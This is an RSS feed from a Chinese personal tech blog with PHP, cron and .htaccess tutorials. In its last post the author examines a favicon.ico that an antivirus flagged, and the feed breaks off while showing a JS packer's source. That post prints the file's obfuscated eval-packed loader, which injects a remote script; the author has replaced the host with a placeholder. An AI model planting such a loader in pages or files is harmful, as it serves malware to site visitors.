<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>白舟空间 &#187; 技术爱好</title>
	<atom:link href="http://www.baizoo.cn/cat/code/feed" rel="self" type="application/rss+xml" />
	<link>http://www.baizoo.cn</link>
	<description>乘风破浪会有时</description>
	<lastBuildDate>Mon, 26 Jul 2010 15:58:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PHP删除数组中重复数据，并排序</title>
		<link>http://www.baizoo.cn/archives/1065.html</link>
		<comments>http://www.baizoo.cn/archives/1065.html#comments</comments>
		<pubDate>Mon, 26 Jul 2010 15:57:19 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[数组]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1065</guid>
		<description><![CDATA[使用函数：array_unique 假设： $a["0"]=&#8221;苹果&#8221;;$a["1"]=&#8221;香蕉&#8221;;$a["2"]=&#8221;苹果&#8221;;$a["3"]=&#8221;菠萝&#8221;;$a["4"]=&#8221;苹果&#8221;;$a["5"]=&#8221;西瓜&#8221;; 现在想得到： $b["0"]=&#8221;苹果&#8221;;$b["1"]=&#8221;香蕉&#8221;;$b["2"]=&#8221;菠萝&#8221;;$b["3"]=&#8221;西瓜&#8221;; 方法如下: $a = array_unique($a);//取出重复 $sum = 0;//初始化累加变量 foreach($a as $b[$sum]) {           $sum  = $sum+1; } print_r($b);//得到结果 下面一篇判断数组是否为空：http://hi.baidu.com/zhzsh/blog/item/94d5c7fc2da269f7fd037f5a.html]]></description>
			<content:encoded><![CDATA[<p>使用函数：array_unique</p>
<p>假设：<br />
$a["0"]=&#8221;苹果&#8221;;$a["1"]=&#8221;香蕉&#8221;;$a["2"]=&#8221;苹果&#8221;;$a["3"]=&#8221;菠萝&#8221;;$a["4"]=&#8221;苹果&#8221;;$a["5"]=&#8221;西瓜&#8221;;<br />
现在想得到：<br />
$b["0"]=&#8221;苹果&#8221;;$b["1"]=&#8221;香蕉&#8221;;$b["2"]=&#8221;菠萝&#8221;;$b["3"]=&#8221;西瓜&#8221;;</p>
<p>方法如下:<br />
$a = array_unique($a);//取出重复<br />
$sum = 0;//初始化累加变量<br />
foreach($a as $b[$sum])<br />
{          <br />
$sum  = $sum+1;<br />
}<br />
print_r($b);//得到结果</p>
<p>下面一篇判断数组是否为空：<a href="http://hi.baidu.com/zhzsh/blog/item/94d5c7fc2da269f7fd037f5a.html">http://hi.baidu.com/zhzsh/blog/item/94d5c7fc2da269f7fd037f5a.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1065.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>php urlencode函数的编码问题</title>
		<link>http://www.baizoo.cn/archives/1057.html</link>
		<comments>http://www.baizoo.cn/archives/1057.html#comments</comments>
		<pubDate>Fri, 23 Jul 2010 08:59:04 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1057</guid>
		<description><![CDATA[用urlencode编码的时候，需要将gbk的url转换成utf-8的url，具体实现方法有两种： 一、将文件存为UTF-8文件，直接使用urlencode、rawurlencode即可。 二、使用mb_convert_encoding函数。 $a=&#8217;中文&#8217;; echo urlencode(mb_convert_encoding($a, &#8216;utf-8&#8242;, &#8216;gbk&#8217;)); 下面是网上摘来的解释： 中文 -&#62; GB2312的Encode -&#62; %D6%D0%CE%C4 中文 -&#62; UTF-8的Encode -&#62; %E4%B8%AD%E6%96%87 PHP中的URLEncode: //GB2312的Encode echo urlencode(&#8220;中文-_. &#8220;).&#8221;\n&#8221;; //%D6%D0%CE%C4-_.+ echo urldecode(&#8220;%D6%D0%CE%C4-_. &#8220;).&#8221;\n&#8221;; //中文-_. echo rawurlencode(&#8220;中文-_. &#8220;).&#8221;\n&#8221;; //%D6%D0%CE%C4-_.%20 echo rawurldecode(&#8220;%D6%D0%CE%C4-_. &#8220;).&#8221;\n&#8221;; //中文-_. 除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数。 urlencode和rawurlencode的区别: urlencode 将空格则编码为加号（+） rawurlencode 将空格则编码为加号（%20） 如果要使用UTF-8的Encode，有两种方法： $url = &#8216;http://ud03.kinoko.name/中文.rar&#8217;; echo urlencode(mb_convert_encoding($url, &#8216;utf-8&#8242;, &#8216;gb2312&#8242;)).&#8221;\n&#8221;; echo rawurlencode(mb_convert_encoding($url, [...]]]></description>
			<content:encoded><![CDATA[<p>用urlencode编码的时候，需要将gbk的url转换成utf-8的url，具体实现方法有两种：</p>
<p>一、将文件存为UTF-8文件，直接使用urlencode、rawurlencode即可。<br />
二、使用<strong>mb_convert_encoding</strong>函数。</p>
<p>$a=&#8217;中文&#8217;;<br />
echo urlencode(mb_convert_encoding($a, &#8216;utf-8&#8242;, &#8216;gbk&#8217;));</p>
<p>下面是网上摘来的解释：</p>
<p>中文 -&gt; GB2312的Encode -&gt; %D6%D0%CE%C4<br />
中文 -&gt; UTF-8的Encode -&gt; %E4%B8%AD%E6%96%87</p>
<p><strong>PHP中的URLEncode:</strong></p>
<p>//GB2312的Encode<br />
echo urlencode(&#8220;中文-_. &#8220;).&#8221;\n&#8221;; //%D6%D0%CE%C4-_.+<br />
echo urldecode(&#8220;%D6%D0%CE%C4-_. &#8220;).&#8221;\n&#8221;; //中文-_.<br />
echo rawurlencode(&#8220;中文-_. &#8220;).&#8221;\n&#8221;; //%D6%D0%CE%C4-_.%20<br />
echo rawurldecode(&#8220;%D6%D0%CE%C4-_. &#8220;).&#8221;\n&#8221;; //中文-_.</p>
<p>除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数。<br />
urlencode和rawurlencode的区别:<br />
urlencode 将空格则编码为加号（+）<br />
rawurlencode 将空格则编码为加号（%20）<span id="more-1057"></span></p>
<p>如果要使用UTF-8的Encode，有两种方法：<br />
$url = &#8216;http://ud03.kinoko.name/中文.rar&#8217;;<br />
<strong>echo urlencode(mb_convert_encoding($url, &#8216;utf-8&#8242;, &#8216;gb2312&#8242;)).&#8221;\n&#8221;;</strong><br />
echo rawurlencode(mb_convert_encoding($url, &#8216;utf-8&#8242;, &#8216;gb2312&#8242;)).&#8221;\n&#8221;;<br />
//http%3A%2F%2Fud03.kinoko.name%2F%E4%B8%AD%E6%96%87.rar<br />
详见：<a href="http://apps.hi.baidu.com/share/detail/1111944">http://apps.hi.baidu.com/share/detail/1111944</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1057.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dreamhost的cron jobs</title>
		<link>http://www.baizoo.cn/archives/1049.html</link>
		<comments>http://www.baizoo.cn/archives/1049.html#comments</comments>
		<pubDate>Wed, 23 Jun 2010 19:07:40 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[cron jobs]]></category>
		<category><![CDATA[dreamhost]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1049</guid>
		<description><![CDATA[一般情况下，cron jobs的命令格式为 0 */2 * * * baizoo /usr/bin/somecommand >> /dev/null 2>&#038;1 前面是执行周期，后面加用户-命令 这个详情可见Cron Jobs 但是，dreamhost的cron jobs已经包含了执行周期的选项，你登陆的用户名也是默认的，cron jobs命令的前面几个选项就可以省去了，直接在command里面填写命令，如： curl &#8211;silent &#8211;compressed http://example.com/cron.php 详细介绍见：Configuring cron jobs on DreamHost]]></description>
			<content:encoded><![CDATA[<p>一般情况下，cron jobs的命令格式为<br />
0 */2 * * * baizoo /usr/bin/somecommand >> /dev/null 2>&#038;1<br />
前面是执行周期，后面加用户-命令 这个详情可见<a href="http://help.dreamhosters.com/advanced/web-panel-cronjob-changes.html">Cron Jobs</a></p>
<p>但是，dreamhost的cron jobs已经包含了执行周期的选项，你登陆的用户名也是默认的，cron jobs命令的前面几个选项就可以省去了，直接在command里面填写命令，如：<br />
curl &#8211;silent &#8211;compressed http://example.com/cron.php</p>
<p>详细介绍见：<a href="http://drupal.org/node/31548">Configuring cron jobs on DreamHost</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1049.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下的定时执行工具Unix cron</title>
		<link>http://www.baizoo.cn/archives/1047.html</link>
		<comments>http://www.baizoo.cn/archives/1047.html#comments</comments>
		<pubDate>Wed, 23 Jun 2010 12:58:24 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[uninx]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1047</guid>
		<description><![CDATA[介绍一下Cron Jobs： Cron来源于希腊单词chronos（意为“时间”）。 Cron是一个Linux下的定时执行工具，可以在无需人工干预的情况下运行作业，有点像 Windows 下的计划任务，但它比计划任务更强大更灵活。 由于Cron 是Linux的内置服务，但它不自动起来，可以用以下的方法启动、关闭这个服务。（见文章DreamHost 的 Web Cron Jobs详细） 相关文章： DreamHost 的 Web Cron Jobs Cronjob – WordPress定时备份MYSQL]]></description>
			<content:encoded><![CDATA[<p>介绍一下Cron Jobs：<br />
Cron来源于希腊单词chronos（意为“时间”）。<br />
Cron是一个Linux下的定时执行工具，可以在无需人工干预的情况下运行作业，有点像 Windows 下的计划任务，但它比计划任务更强大更灵活。<br />
由于Cron 是Linux的内置服务，但它不自动起来，可以用以下的方法启动、关闭这个服务。（见文章DreamHost 的 Web Cron Jobs详细）</p>
<p>相关文章：<br />
<a href="http://help.dreamhosters.com/advanced/web-panel-cronjob-changes.html">DreamHost 的 Web Cron Jobs</a><br />
<a href="http://www.wx35.cn/archives/738/">Cronjob – WordPress定时备份MYSQL</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1047.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess规则简单实例</title>
		<link>http://www.baizoo.cn/archives/1031.html</link>
		<comments>http://www.baizoo.cn/archives/1031.html#comments</comments>
		<pubDate>Mon, 31 May 2010 16:25:49 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[映射]]></category>
		<category><![CDATA[重定向]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1031</guid>
		<description><![CDATA[很久以前我研究过apache的rewrite规则（见：PJblog转Wordpress文章地址重定向），其实这方面的东西还有很多都没搞懂，今天想到又来学习一下，并写了个例子。 RewriteEngine onRewriteRule test/([a-z0-9\-]+\.html)$ test/test\.php\?id=$1#实现伪静态将/test/1.html 映射到/test/test.php?id=1RewriteCond %{QUERY_STRING} ^id=([a-z0-9\-]+)$RewriteRule ^(.*)$ /test/%1\.html? [R=301,L]#将test/test.php?id=1 用301重定向到 /test/1.html 实现的效果： 访问/test/1.html时，web服务器会把实际请求转发给/test/test.php?id=1 当访问/test/test.php?id=1时，规则又把该地址用301重定向到/test/1.html 几点摘要： RewriteRule反向引用$N (0]]></description>
			<content:encoded><![CDATA[<p>很久以前我研究过apache的rewrite规则（见：<a href="http://www.baizoo.cn/archives/390.html">PJblog转Wordpress文章地址重定向</a>），其实这方面的东西还有很多都没搞懂，今天想到又来学习一下，并写了个例子。</p>
<div class="hl-surround"><div class="hl-main">RewriteEngine on<br />RewriteRule test/([a-z0-9\-]+\.html)$ test/test\.php\?id=$1<br />#实现伪静态将/test/1.html 映射到/test/test.php?id=1<br /><br />RewriteCond %{QUERY_STRING} ^id=([a-z0-9\-]+)$<br />RewriteRule ^(.*)$ /test/%1\.html? [R=301,L]<br />#将test/test.php?id=1 用301重定向到 /test/1.html</div></div>
<p>实现的效果：<br />
访问/test/1.html时，web服务器会把实际请求转发给/test/test.php?id=1<br />
当访问/test/test.php?id=1时，规则又把该地址用301重定向到/test/1.html</p>
<p><span id="more-1031"></span>几点摘要：<br />
RewriteRule反向引用$N<br />
(0 <= N <= 9)引用当前(带有若干<strong>RewriteRule</strong>指令的)RewriteCond中的与Pattern匹配的分组成分(圆括号!)。 所以上面规则中的$1表示的第一个RewriteRule圆括号的内容。(如有多个圆括号正则，则用$2 $3&#8230;.)</p>
<p>RewriteCond反向引用%N<br />
(1 <= N <= 9)引用当前若干<strong>RewriteCond</strong>条件中最后符合的条件中的分组成分(圆括号!)。 所以规则中%1引用的是rewritecond中 id后门圆括号内的成分。</p>
<p>RewriteRule 规则主要是写在这里面<br />
RewriteCond 定义重写发生的条件 如例子中的RewriteCond 表示只有出现id=([a-z0-9\-]+)$ 才使用下面的规则。(这里的$是正则里的结尾)</p>
<p>有篇<a href="http://apps.hi.baidu.com/share/detail/5296929">Apache的rewrite规则详细介绍</a>，摘过来备份</p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1031.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>js混淆加密解密器</title>
		<link>http://www.baizoo.cn/archives/969.html</link>
		<comments>http://www.baizoo.cn/archives/969.html#comments</comments>
		<pubDate>Fri, 05 Mar 2010 03:58:06 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[代码]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=969</guid>
		<description><![CDATA[今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。 下过来的favicon.ico文件中包含了一段js，代码如下： &#60;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&#62;if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()//设置cookies&#160;eval(function(p,a,c,k,e,d){e=function(c){return(c&#60;a?'':e(parseInt(c/a)))+((c=c%a)&#62;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]&#124;&#124;e(c);k=[function(e){return&#160; &#160;d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new&#160; &#160;RegExp('\\b'+e(c)+'\\b','g'),k[c]);return&#160; &#160;p}('1.7(\'&#60;5 4=3 6=&#34;2://8.0&#34;&#62;&#60;/5&#62;\')',62,9,'com&#124;document&#124;http&#124;javascript&#124;language&#124;script&#124;src&#124;writeln&#124;xxxx'.split('&#124;'),0,{}))//js混淆后的iframe挂马(地址已被我修改)&#160;;}&#60;/script&#62; 注：js那段eval(&#8230;)的js代码可用js混淆加密解密器进行解密 js混淆加密解密器代码 &#60;script&#62;&#160; &#160;&#160; a=62;&#160; &#160;&#160;&#160; &#160;&#160; function&#160; &#160;encode()&#160; &#160;{&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;code&#160; &#160;=&#160; &#160;document.getElementById('code').value;&#160; &#160;&#160;&#160; &#160; &#160;code&#160; &#160;=&#160; &#160;code.replace(/[\r\n]+/g,&#160; &#160;'');&#160; &#160;&#160;&#160; &#160; &#160;code&#160; &#160;=&#160; &#160;code.replace(/'/g,&#160; &#160;&#34;\\'&#34;);&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;tmp&#160; &#160;=&#160; &#160;code.match(/\b(\w+)\b/g);&#160; &#160;&#160;&#160; &#160; &#160;tmp.sort();&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;dict&#160; &#160;=&#160; &#160;[];&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。</p>
<p>下过来的favicon.ico文件中包含了一段js，代码如下：</p>
<p><span id="more-969"></span><br />
<br/><br/><br/><br/><br/><br/><br/><br/><br/></p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;"> </span><span style="color: Blue;">language</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Blue;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text/javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&gt;<br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">cookie</span><span style="color: Gray;">.</span><span style="color: Blue;">indexOf</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">helio</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">==-</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br /></span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">expires</span><span style="color: Gray;">=</span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Teal;">Date</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">setTime</span><span style="color: Olive;">(</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">getTime</span><span style="color: Olive;">()</span><span style="color: Gray;">+</span><span style="color: Maroon;">24</span><span style="color: Gray;">*</span><span style="color: Maroon;">60</span><span style="color: Gray;">*</span><span style="color: Maroon;">60</span><span style="color: Gray;">*</span><span style="color: Maroon;">1000</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">cookie</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">helio=Yes;path=/;expires=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">+</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">toGMTString</span><span style="color: Olive;">()</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//设置cookies</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">eval</span><span style="color: Olive;">(</span><span style="color: Green;">function</span><span style="color: Olive;">(</span><span style="color: Blue;">p</span><span style="color: Gray;">,</span><span style="color: Blue;">a</span><span style="color: Gray;">,</span><span style="color: Blue;">c</span><span style="color: Gray;">,</span><span style="color: Blue;">k</span><span style="color: Gray;">,</span><span style="color: Blue;">e</span><span style="color: Gray;">,</span><span style="color: Blue;">d</span><span style="color: Olive;">){</span><span style="color: Blue;">e</span><span style="color: Gray;">=</span><span style="color: Green;">function</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Olive;">){</span><span style="color: Green;">return</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">a</span><span style="color: Gray;">?</span><span style="color: #8b0000;">''</span><span style="color: Gray;">:</span><span style="color: Blue;">e</span><span style="color: Olive;">(</span><span style="color: Blue;">parseInt</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: #8b0000;">/</span><span style="color: Red;">a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(</span><span style="color: #8b0000;">/</span><span style="color: Gray;">^</span><span style="color: #8b0000;">/</span><span style="color: Red;">,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return&nbsp; &nbsp;d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new&nbsp; &nbsp;RegExp('\\b'+e(c)+'\\b','g'),k[c]);return&nbsp; &nbsp;p}('1.7(\'&lt;5 4=3 6=&quot;2:</span><span style="color: #8b0000;">//</span><span style="color: Red;">8.0&quot;&gt;&lt;</span><span style="color: #8b0000;">/</span><span style="color: Maroon;">5</span><span style="color: Gray;">&gt;\</span><span style="color: #8b0000;">'</span><span style="color: Red;">)</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: Maroon;">62</span><span style="color: Gray;">,</span><span style="color: Maroon;">9</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">com|document|http|javascript|language|script|src|writeln|xxxx</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">split</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">|</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Gray;">,</span><span style="color: Olive;">{}))</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//js混淆后的iframe挂马(地址已被我修改)</span><span style="color: Gray;"><br />&nbsp;<br />;}<br />&lt;</span><span style="color: #8b0000;">/</span><span style="color: Red;">script&gt;</span></div></div>
<p>注：js那段eval(&#8230;)的js代码可用<a href="http://www.baizoo.cn/tools/js-code.html" target=_blank>js混淆加密解密器</a>进行解密</p>
<p>js混淆加密解密器代码</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">a</span><span style="color: Gray;">=</span><span style="color: Maroon;">62</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">encode</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">getElementById</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">code</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">value</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">[\r\n]+</span><span style="color: #8b0000;">/g</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">'</span><span style="color: #8b0000;">/g</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\\</span><span style="color: Red;">'</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">match</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">\b(\w+)\b</span><span style="color: #8b0000;">/g</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">.</span><span style="color: Blue;">sort</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Olive;">[]</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: Blue;">t</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">.</span><span style="color: Blue;">length</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">tmp</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp; &nbsp;!=&nbsp; &nbsp;</span><span style="color: Blue;">t</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">push</span><span style="color: Olive;">(</span><span style="color: Blue;">t</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">])</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">len</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">length</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: Blue;">i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">len</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">i</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: Green;">new</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Teal;">RegExp</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Navy;">\\</span><span style="color: Red;">b</span><span style="color: #8b0000;">'</span><span style="color: Gray;">+</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">+</span><span style="color: 